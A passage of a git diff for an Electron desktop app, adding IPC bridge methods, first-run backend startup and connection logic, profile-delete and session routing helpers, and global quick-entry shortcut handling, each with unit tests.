+    return () => ipcRenderer.removeListener('clawcodex:deep-link', listener)
+  },
+  signalDeepLinkReady: () => ipcRenderer.invoke('clawcodex:deep-link-ready'),
+  onWindowStateChanged: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:window-state-changed', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:window-state-changed', listener)
+  },
+  onFocusSession: callback => {
+    const listener = (_event, sessionId) => callback(sessionId)
+    ipcRenderer.on('clawcodex:focus-session', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:focus-session', listener)
+  },
+  onNotificationAction: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:notification-action', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:notification-action', listener)
+  },
+  onPreviewFileChanged: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:preview-file-changed', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:preview-file-changed', listener)
+  },
+  onBackendExit: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:backend-exit', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:backend-exit', listener)
+  },
+  // Soft gateway-mode apply finished tearing down the primary backend. Renderer
+  // should wipe session lists + re-dial without a window reload.
+  onConnectionApplied: callback => {
+    const listener = () => callback()
+    ipcRenderer.on('clawcodex:connection:applied', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:connection:applied', listener)
+  },
+  onPowerResume: callback => {
+    const listener = () => callback()
+    ipcRenderer.on('clawcodex:power-resume', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:power-resume', listener)
+  },
+  // AC ↔ battery transitions; renderers slow their backstop polls on battery.
+  getOnBattery: () => ipcRenderer.invoke('clawcodex:power-battery:get'),
+  onBatteryChanged: callback => {
+    const listener = (_event, onBattery) => callback(Boolean(onBattery))
+    ipcRenderer.on('clawcodex:power-battery', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:power-battery', listener)
+  },
+  onBootProgress: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:boot-progress', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:boot-progress', listener)
+  },
+  // First-launch bootstrap progress -- emitted by the install.ps1 stage
+  // runner in main.ts (apps/desktop/electron/bootstrap-runner.ts).
+  // Renderer's install overlay subscribes to live events and queries the
+  // current snapshot via getBootstrapState() to recover after a devtools
+  // reload mid-bootstrap.
+  getBootstrapState: () => ipcRenderer.invoke('clawcodex:bootstrap:get'),
+  continueBootstrapLocal: () => ipcRenderer.invoke('clawcodex:bootstrap:continue-local'),
+  resetBootstrap: () => ipcRenderer.invoke('clawcodex:bootstrap:reset'),
+  repairBootstrap: () => ipcRenderer.invoke('clawcodex:bootstrap:repair'),
+  cancelBootstrap: () => ipcRenderer.invoke('clawcodex:bootstrap:cancel'),
+  onBootstrapEvent: callback => {
+    const listener = (_event, payload) => callback(payload)
+    ipcRenderer.on('clawcodex:bootstrap:event', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:bootstrap:event', listener)
+  },
+  getVersion: () => ipcRenderer.invoke('clawcodex:version'),
+  getRemoteDisplayReason: () => ipcRenderer.invoke('clawcodex:get-remote-display-reason'),
+  uninstall: {
+    summary: () => ipcRenderer.invoke('clawcodex:uninstall:summary'),
+    run: mode => ipcRenderer.invoke('clawcodex:uninstall:run', { mode })
+  },
+  updates: {
+    check: () => ipcRenderer.invoke('clawcodex:updates:check'),
+    apply: opts => ipcRenderer.invoke('clawcodex:updates:apply', opts),
+    getBranch: () => ipcRenderer.invoke('clawcodex:updates:branch:get'),
+    setBranch: name => ipcRenderer.invoke('clawcodex:updates:branch:set', name),
+    onProgress: callback => {
+      const listener = (_event, payload) => callback(payload)
+      ipcRenderer.on('clawcodex:updates:progress', listener)
+
+      return () => ipcRenderer.removeListener('clawcodex:updates:progress', listener)
+    }
+  },
+  themes: {
+    fetchMarketplace: id => ipcRenderer.invoke('clawcodex:vscode-theme:fetch', id),
+    searchMarketplace: query => ipcRenderer.invoke('clawcodex:vscode-theme:search', query)
+  },
+  // Find-in-page (Ctrl/Cmd+F): delegates to Electron's
+  // webContents.findInPage on the IPC sender's window so a Cmd+F pressed
+  // in a secondary session window searches THAT window, not the primary.
+  // `onFoundInPage` returns the unsubscribe fn; the renderer wires it via
+  // `initFindInPageListener` in store/find-in-page.ts and tears it down
+  // when the FindBar unmounts.
+  findInPage: (query, options) => ipcRenderer.invoke('clawcodex:find-in-page', query, options),
+  stopFindInPage: () => ipcRenderer.invoke('clawcodex:stop-find-in-page'),
+  onFoundInPage: callback => {
+    const listener = (_event, result) => callback(result)
+    ipcRenderer.on('clawcodex:found-in-page', listener)
+
+    return () => ipcRenderer.removeListener('clawcodex:found-in-page', listener)
+  }
+})
diff --git a/ui-desktop/electron/primary-backend-startup.test.ts b/ui-desktop/electron/primary-backend-startup.test.ts
new file mode 100644
index 000000000..41fb8728b
--- /dev/null
+++ b/ui-desktop/electron/primary-backend-startup.test.ts
@@ -0,0 +1,110 @@
+import assert from 'node:assert/strict'
+
+import { test, vi } from 'vitest'
+
+import { createFirstRunSetupGate } from './first-run-setup-gate'
+import { FirstRunSetupResetError, runPrimaryBackendStartup } from './primary-backend-startup'
+
+const bootstrapBackend = {
+  activeRoot: '/tmp/clawcodex-home/clawcodex',
+  kind: 'bootstrap-needed',
+  platform: 'linux'
+}
+
+function startupOptions(overrides: Record<string, unknown> = {}) {
+  return {
+    connectRemote: vi.fn(async remote => ({ baseUrl: remote.baseUrl, mode: 'remote' as const })),
+    ensureLocalRuntime: vi.fn(async backend => ({ ...backend, command: 'clawcodex' })),
+    prepareLocalBackend: vi.fn(async () => bootstrapBackend),
+    resolveRemote: vi.fn(async () => null),
+    waitForDecision: vi.fn(async () => 'continue-local' as const),
+    waitForLocalStart: vi.fn(async () => {}),
+    ...overrides
+  }
+}
+
+test('remote apply re-resolves the saved connection without ensuring a local runtime', async () => {
+  const gate = createFirstRunSetupGate({ stuckAfterMs: 0 })
+  const savedRemote = { baseUrl: 'https://gateway.example.com/clawcodex' }
+  let configuredRemote: typeof savedRemote | null = null
+
+  const options = startupOptions({
+    resolveRemote: vi.fn(async () => configuredRemote),
+    waitForDecision: gate.wait
+  })
+
+  const pending = runPrimaryBackendStartup(options)
+
+  await vi.waitFor(() => assert.equal(gate.hasWaiter(), true))
+  configuredRemote = savedRemote
+  assert.equal(gate.abandonForRemoteApply(), true)
+
+  assert.deepEqual(await pending, {
+    kind: 'remote',
+    connection: { baseUrl: savedRemote.baseUrl, mode: 'remote' }
+  })
+  assert.deepEqual(options.resolveRemote.mock.calls, [[], []])
+  assert.deepEqual(options.connectRemote.mock.calls, [[savedRemote]])
+  assert.equal(options.ensureLocalRuntime.mock.calls.length, 0)
+})
+
+test('an already-saved remote bypasses every local startup step', async () => {
+  const savedRemote = { baseUrl: 'https://gateway.example.com/clawcodex' }
+  const options = startupOptions({ resolveRemote: vi.fn(async () => savedRemote) })
+
+  assert.deepEqual(await runPrimaryBackendStartup(options), {
+    kind: 'remote',
+    connection: { baseUrl: savedRemote.baseUrl, mode: 'remote' }
+  })
+  assert.equal(options.waitForLocalStart.mock.calls.length, 0)
+  assert.equal(options.prepareLocalBackend.mock.calls.length, 0)
+  assert.equal(options.waitForDecision.mock.calls.length, 0)
+  assert.equal(options.ensureLocalRuntime.mock.calls.length, 0)
+})
+
+test('remote apply fails clearly when no saved remote can be resolved', async () => {
+  const gate = createFirstRunSetupGate({ stuckAfterMs: 0 })
+  const options = startupOptions({ waitForDecision: gate.wait })
+  const pending = runPrimaryBackendStartup(options)
+
+  await vi.waitFor(() => assert.equal(gate.hasWaiter(), true))
+  gate.abandonForRemoteApply()
+
+  await assert.rejects(pending, /without a saved remote backend/)
+  assert.equal(options.connectRemote.mock.calls.length, 0)
+  assert.equal(options.ensureLocalRuntime.mock.calls.length, 0)
+})
+
+test('continue local waits for update exclusion and ensures the prepared runtime exactly once', async () => {
+  const gate = createFirstRunSetupGate({ stuckAfterMs: 0 })
+  const runtimeBackend = { ...bootstrapBackend, command: 'clawcodex' }
+
+  const options = startupOptions({
+    ensureLocalRuntime: vi.fn(async () => runtimeBackend),
+    waitForDecision: gate.wait
+  })
+
+  const pending = runPrimaryBackendStartup(options)
+
+  await vi.waitFor(() => assert.equal(gate.hasWaiter(), true))
+  gate.continueLocal()
+
+  assert.deepEqual(await pending, { kind: 'local', backend: runtimeBackend })
+  assert.deepEqual(options.waitForLocalStart.mock.calls, [[]])
+  assert.deepEqual(options.prepareLocalBackend.mock.calls, [[]])
+  assert.deepEqual(options.ensureLocalRuntime.mock.calls, [[bootstrapBackend]])
+  assert.deepEqual(options.resolveRemote.mock.calls, [[]])
+})
+
+test('reset rejects with a typed error and never enters either backend', async () => {
+  const gate = createFirstRunSetupGate({ stuckAfterMs: 0 })
+  const options = startupOptions({ waitForDecision: gate.wait })
+  const pending = runPrimaryBackendStartup(options)
+
+  await vi.waitFor(() => assert.equal(gate.hasWaiter(), true))
+  gate.resetForRetry()
+
+  await assert.rejects(pending, error => error instanceof FirstRunSetupResetError && error.firstRunSetupReset)
+  assert.equal(options.connectRemote.mock.calls.length, 0)
+  assert.equal(options.ensureLocalRuntime.mock.calls.length, 0)
+})
diff --git a/ui-desktop/electron/primary-backend-startup.ts b/ui-desktop/electron/primary-backend-startup.ts
new file mode 100644
index 000000000..5c83a025a
--- /dev/null
+++ b/ui-desktop/electron/primary-backend-startup.ts
@@ -0,0 +1,65 @@
+import type { FirstRunSetupDecision } from './first-run-setup-gate'
+
+export interface PrimaryBackendStartupOptions<Backend, RuntimeBackend, Remote, Connection> {
+  connectRemote: (remote: Remote) => Promise<Connection>
+  ensureLocalRuntime: (backend: Backend) => Promise<RuntimeBackend>
+  prepareLocalBackend: () => Backend | Promise<Backend>
+  resolveRemote: () => Promise<Remote | null>
+  waitForDecision: (backend: Backend) => Promise<FirstRunSetupDecision>
+  waitForLocalStart: () => Promise<unknown>
+}
+
+export type PrimaryBackendStartupResult<RuntimeBackend, Connection> =
+  { kind: 'local'; backend: RuntimeBackend } | { kind: 'remote'; connection: Connection }
+
+export class FirstRunSetupResetError extends Error {
+  readonly firstRunSetupReset = true
+
+  constructor() {
+    super('First-run setup was reset before a choice completed.')
+    this.name = 'FirstRunSetupResetError'
+  }
+}
+
+// Owns the production startClawCodex path up to the local process spawn. Keeping
+// the full ordering here makes the first-run remote boundary executable in a
+// test: an already-saved remote wins immediately; otherwise update exclusion
+// and local backend resolution happen before the setup gate, and a remote Apply
+// re-resolves persisted config without ever entering ensureRuntime/bootstrap.
+export async function runPrimaryBackendStartup<Backend, RuntimeBackend, Remote, Connection>({
+  connectRemote,
+  ensureLocalRuntime,
+  prepareLocalBackend,
+  resolveRemote,
+  waitForDecision,
+  waitForLocalStart
+}: PrimaryBackendStartupOptions<Backend, RuntimeBackend, Remote, Connection>): Promise<
+  PrimaryBackendStartupResult<RuntimeBackend, Connection>
+> {
+  const savedRemote = await resolveRemote()
+
+  if (savedRemote) {
+    return { kind: 'remote', connection: await connectRemote(savedRemote) }
+  }
+
+  await waitForLocalStart()
+
+  const backend = await prepareLocalBackend()
+  const decision = await waitForDecision(backend)
+
+  if (decision === 'remote-applied') {
+    const appliedRemote = await resolveRemote()
+
+    if (!appliedRemote) {
+      throw new Error('First-run remote setup completed without a saved remote backend.')
+    }
+
+    return { kind: 'remote', connection: await connectRemote(appliedRemote) }
+  }
+
+  if (decision === 'reset') {
+    throw new FirstRunSetupResetError()
+  }
+
+  return { kind: 'local', backend: await ensureLocalRuntime(backend) }
+}
diff --git a/ui-desktop/electron/primary-connection-rehome.ts b/ui-desktop/electron/primary-connection-rehome.ts
new file mode 100644
index 000000000..4952b8a90
--- /dev/null
+++ b/ui-desktop/electron/primary-connection-rehome.ts
@@ -0,0 +1,35 @@
+export interface PrimaryConnectionRehomeOptions {
+  clearLocalBootstrapFailure: () => void
+  mode: string
+  notifyConnectionApplied: () => void
+  resumeFirstRunRemote: () => boolean
+  teardownPrimaryBackend: (options: { soft: boolean }) => Promise<void>
+}
+
+// Production seam shared by the connection-config IPC handler and the
+// first-run integration test. A remote apply that resumes the active setup
+// gate must keep that connection attempt alive; ordinary mode changes tear the
+// current backend down before the renderer is told to reconnect.
+export async function rehomePrimaryConnection({
+  clearLocalBootstrapFailure,
+  mode,
+  notifyConnectionApplied,
+  resumeFirstRunRemote,
+  teardownPrimaryBackend
+}: PrimaryConnectionRehomeOptions): Promise<{ resumedFirstRunRemote: boolean }> {
+  let resumedFirstRunRemote = false
+
+  if (mode === 'remote') {
+    resumedFirstRunRemote = resumeFirstRunRemote()
+    clearLocalBootstrapFailure()
+  }
+
+  if (resumedFirstRunRemote) {
+    return { resumedFirstRunRemote: true }
+  }
+
+  await teardownPrimaryBackend({ soft: true })
+  notifyConnectionApplied()
+
+  return { resumedFirstRunRemote: false }
+}
diff --git a/ui-desktop/electron/profile-delete-routing.test.ts b/ui-desktop/electron/profile-delete-routing.test.ts
new file mode 100644
index 000000000..6b1bb01da
--- /dev/null
+++ b/ui-desktop/electron/profile-delete-routing.test.ts
@@ -0,0 +1,82 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { decideProfileDeleteAction, profileNameFromDeleteRequest, resolveRouteProfile } from './profile-delete-routing'
+
+// ---------------------------------------------------------------------------
+// profileNameFromDeleteRequest
+// ---------------------------------------------------------------------------
+
+test('profileNameFromDeleteRequest parses a DELETE /api/profiles/<name> path', () => {
+  assert.equal(profileNameFromDeleteRequest({ method: 'DELETE', path: '/api/profiles/worker' }), 'worker')
+})
+
+test('profileNameFromDeleteRequest lowercases the profile name', () => {
+  assert.equal(profileNameFromDeleteRequest({ method: 'DELETE', path: '/api/profiles/Worker' }), 'worker')
+})
+
+test('profileNameFromDeleteRequest returns null for non-DELETE methods', () => {
+  assert.equal(profileNameFromDeleteRequest({ method: 'GET', path: '/api/profiles/worker' }), null)
+})
+
+test('profileNameFromDeleteRequest returns null when the path does not match', () => {
+  assert.equal(profileNameFromDeleteRequest({ method: 'DELETE', path: '/api/sessions' }), null)
+})
+
+test('profileNameFromDeleteRequest returns null for an empty/whitespace name', () => {
+  assert.equal(profileNameFromDeleteRequest({ method: 'DELETE', path: '/api/profiles/%20' }), null)
+})
+
+test('profileNameFromDeleteRequest returns null for an undecodable path segment', () => {
+  assert.equal(profileNameFromDeleteRequest({ method: 'DELETE', path: '/api/profiles/%E0%A4%A' }), null)
+})
+
+// ---------------------------------------------------------------------------
+// decideProfileDeleteAction
+// ---------------------------------------------------------------------------
+
+const deps = {
+  isDefaultProfile: p => p === 'default',
+  isValidProfileName: p => /^[a-z0-9][a-z0-9_-]{0,63}$/.test(p),
+  primaryProfileKey: () => 'primary-profile'
+}
+
+test('decideProfileDeleteAction is a noop for the default profile', () => {
+  assert.deepEqual(decideProfileDeleteAction('default', deps), { action: 'noop', profile: null })
+})
+
+test('decideProfileDeleteAction is a noop for null (no profile parsed)', () => {
+  assert.deepEqual(decideProfileDeleteAction(null, deps), { action: 'noop', profile: null })
+})
+
+test('decideProfileDeleteAction is a noop for an invalid profile name', () => {
+  assert.deepEqual(decideProfileDeleteAction('Not Valid!', deps), { action: 'noop', profile: null })
+})
+
+test('decideProfileDeleteAction tears down the primary backend for the primary profile', () => {
+  assert.deepEqual(decideProfileDeleteAction('primary-profile', deps), {
+    action: 'teardown-primary',
+    profile: 'primary-profile'
+  })
+})
+
+test('decideProfileDeleteAction tears down the pool backend for any other valid profile', () => {
+  assert.deepEqual(decideProfileDeleteAction('worker', deps), { action: 'teardown-pool', profile: 'worker' })
+})
+
+// ---------------------------------------------------------------------------
+// resolveRouteProfile
+// ---------------------------------------------------------------------------
+
+test('resolveRouteProfile routes to the primary backend (null) when a profile was torn down', () => {
+  assert.equal(resolveRouteProfile('worker', 'other-profile'), null)
+})
+
+test('resolveRouteProfile passes the requested profile through when nothing was torn down', () => {
+  assert.equal(resolveRouteProfile(null, 'other-profile'), 'other-profile')
+})
+
+test('resolveRouteProfile passes through undefined when nothing was torn down and no profile was requested', () => {
+  assert.equal(resolveRouteProfile(null, undefined), undefined)
+})
diff --git a/ui-desktop/electron/profile-delete-routing.ts b/ui-desktop/electron/profile-delete-routing.ts
new file mode 100644
index 000000000..08c068ce0
--- /dev/null
+++ b/ui-desktop/electron/profile-delete-routing.ts
@@ -0,0 +1,95 @@
+// Profile-delete routing logic for the `clawcodex:api` IPC handler.
+//
+// When the renderer issues DELETE /api/profiles/<name>, the handler must
+// tear down that profile's backend (primary window backend or pool backend)
+// and then route the *next* request away from the just-deleted profile's
+// pool backend -- spawning a fresh one would call ensure_clawcodex_home() and
+// recreate the profile directory the delete just removed, leaving a zombie
+// process behind (issue #52279).
+//
+// These helpers are pure so they can be unit-tested without Electron.
+
+/**
+ * Parse a `clawcodex:api` request into the profile name a DELETE targets, or
+ * null when the request is not a profile-delete at all (wrong method, wrong
+ * path, empty/invalid name).
+ */
+export function profileNameFromDeleteRequest(request) {
+  if (!request || String(request.method || 'GET').toUpperCase() !== 'DELETE') {
+    return null
+  }
+
+  const match = String(request.path || '').match(/^\/api\/profiles\/([^/?#]+)(?:[?#].*)?$/)
+
+  if (!match) {
+    return null
+  }
+
+  let raw = ''
+
+  try {
+    raw = decodeURIComponent(match[1])
+  } catch {
+    return null
+  }
+
+  const name = raw.trim()
+
+  if (!name) {
+    return null
+  }
+
+  if (name.toLowerCase() === 'default') {
+    return 'default'
+  }
+
+  return name.toLowerCase()
+}
+
+export type ProfileDeleteAction = 'noop' | 'teardown-primary' | 'teardown-pool'
+
+export interface ProfileDeleteDecision {
+  action: ProfileDeleteAction
+  profile: string | null
+}
+
+export interface ProfileDeleteDecisionDeps {
+  isDefaultProfile: (profile: string) => boolean
+  isValidProfileName: (profile: string) => boolean
+  primaryProfileKey: () => string
+}
+
+/**
+ * Pure decision logic for prepareProfileDeleteRequest: given the parsed
+ * profile name (or null), decide which side-effecting branch the caller
+ * should take and what profile name it should ultimately report as
+ * torn-down. No I/O, no async -- the caller performs the actual teardown
+ * based on `action`.
+ */
+export function decideProfileDeleteAction(
+  profile: string | null,
+  deps: ProfileDeleteDecisionDeps
+): ProfileDeleteDecision {
+  if (!profile || deps.isDefaultProfile(profile) || !deps.isValidProfileName(profile)) {
+    return { action: 'noop', profile: null }
+  }
+
+  if (profile === deps.primaryProfileKey()) {
+    return { action: 'teardown-primary', profile }
+  }
+
+  return { action: 'teardown-pool', profile }
+}
+
+/**
+ * Route the next `clawcodex:api` request away from the primary/window backend
+ * whenever a profile was just torn down -- otherwise ensureBackend would
+ * spawn a fresh pool backend for the deleted profile, whose
+ * ensure_clawcodex_home() recreates the directory the delete just removed.
+ */
+export function resolveRouteProfile(
+  tornDownProfile: string | null,
+  profile: string | undefined
+): string | null | undefined {
+  return tornDownProfile ? null : profile
+}
diff --git a/ui-desktop/electron/profile-session-routing.test.ts b/ui-desktop/electron/profile-session-routing.test.ts
new file mode 100644
index 000000000..199740519
--- /dev/null
+++ b/ui-desktop/electron/profile-session-routing.test.ts
@@ -0,0 +1,30 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { fetchPrimaryProfileSessions } from './profile-session-routing'
+
+test('primary session reads use the profile-aware request path', async () => {
+  const calls: Array<{ profile: string | null; path: string }> = []
+  const expected = { sessions: [{ id: 'session-1' }], total: 1, profile_totals: { default: 1 } }
+
+  const result = await fetchPrimaryProfileSessions(
+    new URLSearchParams({ profile: 'default', limit: '20' }),
+    async (profile, path) => {
+      calls.push({ profile, path })
+
+      return expected
+    }
+  )
+
+  assert.deepEqual(calls, [{ profile: null, path: '/api/profiles/sessions?profile=default&limit=20' }])
+  assert.equal(result, expected)
+})
+
+test('primary session reads preserve the empty-list fallback', async () => {
+  const result = await fetchPrimaryProfileSessions(new URLSearchParams({ profile: 'all' }), async () => {
+    throw new Error('remote unavailable')
+  })
+
+  assert.deepEqual(result, { sessions: [], total: 0, profile_totals: {} })
+})
diff --git a/ui-desktop/electron/profile-session-routing.ts b/ui-desktop/electron/profile-session-routing.ts
new file mode 100644
index 000000000..f31e22ca5
--- /dev/null
+++ b/ui-desktop/electron/profile-session-routing.ts
@@ -0,0 +1,19 @@
+export interface ProfileSessionsResponse {
+  sessions: unknown[]
+  total: number
+  profile_totals: Record<string, number>
+  [key: string]: unknown
+}
+
+type FetchJsonForProfile = (profile: string | null, path: string) => Promise<unknown>
+
+export async function fetchPrimaryProfileSessions(
+  searchParams: URLSearchParams,
+  fetchJsonForProfile: FetchJsonForProfile
+): Promise<ProfileSessionsResponse> {
+  try {
+    return (await fetchJsonForProfile(null, `/api/profiles/sessions?${searchParams}`)) as ProfileSessionsResponse
+  } catch {
+    return { sessions: [], total: 0, profile_totals: {} }
+  }
+}
diff --git a/ui-desktop/electron/quick-entry.test.ts b/ui-desktop/electron/quick-entry.test.ts
new file mode 100644
index 000000000..fa8039791
--- /dev/null
+++ b/ui-desktop/electron/quick-entry.test.ts
@@ -0,0 +1,240 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import {
+  createQuickEntryShortcut,
+  DEFAULT_QUICK_ENTRY_SHORTCUT,
+  type GlobalShortcutLike,
+  parseQuickEntryShortcut,
+  quickEntryWindowBounds,
+  sanitizeQuickEntrySettings
+} from './quick-entry'
+
+function fakeGlobalShortcut(options: { register?: boolean; taken?: string[] } = {}) {
+  const held = new Set(options.taken ?? [])
+
+  const globalShortcut: GlobalShortcutLike = {
+    isRegistered: vi.fn((accelerator: string) => held.has(accelerator)),
+    register: vi.fn((accelerator: string) => {
+      if (options.register === false) {
+        return false
+      }
+
+      held.add(accelerator)
+
+      return true
+    }),
+    unregister: vi.fn((accelerator: string) => void held.delete(accelerator))
+  }
+
+  return { globalShortcut, held }
+}
+
+describe('parseQuickEntryShortcut', () => {
+  it('normalizes casing, aliases, and modifier order', () => {
+    expect(parseQuickEntryShortcut('cmdorctrl+shift+space')).toEqual({
+      accelerator: 'CommandOrControl+Shift+Space',
+      ok: true
+    })
+    expect(parseQuickEntryShortcut('  Shift + CTRL + k ')).toEqual({ accelerator: 'Control+Shift+K', ok: true })
+    expect(parseQuickEntryShortcut('Alt+f5')).toEqual({ accelerator: 'Alt+F5', ok: true })
+    expect(parseQuickEntryShortcut('Meta+/')).toEqual({ accelerator: 'Super+/', ok: true })
+  })
+
+  it('collapses duplicate modifiers', () => {
+    expect(parseQuickEntryShortcut('Ctrl+Control+Shift+J')).toEqual({ accelerator: 'Control+Shift+J', ok: true })
+  })
+
+  it('requires a modifier so a global bind cannot swallow a bare key', () => {
+    expect(parseQuickEntryShortcut('K')).toEqual({ ok: false, reason: 'no-modifier' })
+    expect(parseQuickEntryShortcut('Space')).toEqual({ ok: false, reason: 'no-modifier' })
+  })
+
+  it('requires exactly one non-modifier key', () => {
+    expect(parseQuickEntryShortcut('Shift+Control')).toEqual({ ok: false, reason: 'no-key' })
+    expect(parseQuickEntryShortcut('Shift+A+B')).toEqual({ ok: false, reason: 'invalid-key' })
+    expect(parseQuickEntryShortcut('A+Shift')).toEqual({ ok: false, reason: 'invalid-modifier' })
+  })
+
+  it('rejects empty, junk, and the reserved Escape key', () => {
+    expect(parseQuickEntryShortcut('')).toEqual({ ok: false, reason: 'empty' })
+    expect(parseQuickEntryShortcut('   ')).toEqual({ ok: false, reason: 'empty' })
+    expect(parseQuickEntryShortcut(null)).toEqual({ ok: false, reason: 'empty' })
+    expect(parseQuickEntryShortcut('Ctrl+NotAKey')).toEqual({ ok: false, reason: 'invalid-key' })
+    // Escape hides the window; binding it globally would make it un-toggleable.
+    expect(parseQuickEntryShortcut('Ctrl+Escape')).toEqual({ ok: false, reason: 'reserved' })
+  })
+
+  it('accepts the shipped default unchanged', () => {
+    expect(parseQuickEntryShortcut(DEFAULT_QUICK_ENTRY_SHORTCUT)).toEqual({
+      accelerator: DEFAULT_QUICK_ENTRY_SHORTCUT,
+      ok: true
+    })
+  })
+})
+
+describe('sanitizeQuickEntrySettings', () => {
+  it('defaults to enabled with the default shortcut', () => {
+    expect(sanitizeQuickEntrySettings(undefined)).toEqual({ enabled: true, shortcut: DEFAULT_QUICK_ENTRY_SHORTCUT })
+    expect(sanitizeQuickEntrySettings('not an object')).toEqual({
+      enabled: true,
+      shortcut: DEFAULT_QUICK_ENTRY_SHORTCUT
+    })
+  })
+
+  it('keeps an explicit disable and normalizes a stored shortcut', () => {
+    expect(sanitizeQuickEntrySettings({ enabled: false, shortcut: 'alt+j' })).toEqual({
+      enabled: false,
+      shortcut: 'Alt+J'
+    })
+  })
+
+  it('falls back to the default when the stored shortcut is unusable', () => {
+    expect(sanitizeQuickEntrySettings({ enabled: true, shortcut: 'Q' })).toEqual({
+      enabled: true,
+      shortcut: DEFAULT_QUICK_ENTRY_SHORTCUT
+    })
+  })
+
+  it('treats a non-boolean enabled as off (only `true` opts in once present)', () => {
+    expect(sanitizeQuickEntrySettings({ enabled: 'yes' }).enabled).toBe(false)
+  })
+})
+
+describe('createQuickEntryShortcut', () => {
+  it('registers the normalized accelerator when enabled', () => {
+    const { globalShortcut } = fakeGlobalShortcut()
+    const onTrigger = vi.fn()
+    const controller = createQuickEntryShortcut(globalShortcut, onTrigger)
+
+    const state = controller.apply({ enabled: true, shortcut: 'cmdorctrl+shift+space' })
+
+    expect(state).toEqual({ error: null, registered: true, shortcut: 'CommandOrControl+Shift+Space' })
+    expect(globalShortcut.register).toHaveBeenCalledWith('CommandOrControl+Shift+Space', onTrigger)
+    expect(controller.current()).toEqual(state)
+  })
+
+  it('never registers while the setting is disabled', () => {
+    const { globalShortcut } = fakeGlobalShortcut()
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    const state = controller.apply({ enabled: false, shortcut: DEFAULT_QUICK_ENTRY_SHORTCUT })
+
+    expect(globalShortcut.register).not.toHaveBeenCalled()
+    expect(state).toEqual({ error: null, registered: false, shortcut: DEFAULT_QUICK_ENTRY_SHORTCUT })
+  })
+
+  it('releases the old accelerator before registering a new one', () => {
+    const { globalShortcut, held } = fakeGlobalShortcut()
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    controller.apply({ enabled: true, shortcut: 'Alt+J' })
+    controller.apply({ enabled: true, shortcut: 'Alt+K' })
+
+    expect(globalShortcut.unregister).toHaveBeenCalledWith('Alt+J')
+    expect(held.has('Alt+J')).toBe(false)
+    expect(held.has('Alt+K')).toBe(true)
+  })
+
+  it('turning the feature off releases the live accelerator', () => {
+    const { globalShortcut, held } = fakeGlobalShortcut()
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    controller.apply({ enabled: true, shortcut: 'Alt+J' })
+    const off = controller.apply({ enabled: false, shortcut: 'Alt+J' })
+
+    expect(globalShortcut.unregister).toHaveBeenCalledWith('Alt+J')
+    expect(held.size).toBe(0)
+    expect(off.registered).toBe(false)
+    expect(off.error).toBeNull()
+  })
+
+  it("surfaces 'taken' when another app already owns the chord", () => {
+    const { globalShortcut } = fakeGlobalShortcut({ taken: ['Alt+J'] })
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    const state = controller.apply({ enabled: true, shortcut: 'alt+j' })
+
+    expect(globalShortcut.register).not.toHaveBeenCalled()
+    expect(state).toEqual({ error: 'taken', registered: false, shortcut: 'Alt+J' })
+  })
+
+  it("surfaces 'taken' when the OS refuses the registration", () => {
+    const { globalShortcut } = fakeGlobalShortcut({ register: false })
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    expect(controller.apply({ enabled: true, shortcut: 'Alt+J' })).toEqual({
+      error: 'taken',
+      registered: false,
+      shortcut: 'Alt+J'
+    })
+  })
+
+  it("surfaces 'invalid' for an unusable shortcut without asking the OS", () => {
+    const { globalShortcut } = fakeGlobalShortcut()
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    expect(controller.apply({ enabled: true, shortcut: 'J' })).toEqual({
+      error: 'invalid',
+      registered: false,
+      shortcut: 'J'
+    })
+    expect(globalShortcut.register).not.toHaveBeenCalled()
+  })
+
+  it('survives a throwing globalShortcut', () => {
+    const globalShortcut: GlobalShortcutLike = {
+      isRegistered: () => false,
+      register: () => {
+        throw new Error('x11 grab failed')
+      },
+      unregister: () => {}
+    }
+
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    expect(controller.apply({ enabled: true, shortcut: 'Alt+J' }).error).toBe('taken')
+  })
+
+  it('dispose releases the accelerator and is idempotent', () => {
+    const { globalShortcut, held } = fakeGlobalShortcut()
+    const controller = createQuickEntryShortcut(globalShortcut, vi.fn())
+
+    controller.apply({ enabled: true, shortcut: 'Alt+J' })
+    controller.dispose()
+    controller.dispose()
+
+    expect(globalShortcut.unregister).toHaveBeenCalledTimes(1)
+    expect(held.size).toBe(0)
+    expect(controller.current().registered).toBe(false)
+  })
+})
+
+describe('quickEntryWindowBounds', () => {
+  it('centers horizontally and sits below the top edge of the work area', () => {
+    const bounds = quickEntryWindowBounds({ height: 1000, width: 1600, x: 0, y: 0 })
+
+    expect(bounds.width).toBe(640)
+    expect(bounds.x).toBe((1600 - 640) / 2)
+    expect(bounds.y).toBeGreaterThan(0)
+    expect(bounds.y + bounds.height).toBeLessThanOrEqual(1000)
+  })
+
+  it('respects a display origin offset (second monitor)', () => {
+    const bounds = quickEntryWindowBounds({ height: 900, width: 1440, x: 1600, y: -200 })
+
+    expect(bounds.x).toBe(1600 + (1440 - 640) / 2)
+    expect(bounds.y).toBeGreaterThanOrEqual(-200)
+  })
+
+  it('stays inside a tiny work area', () => {
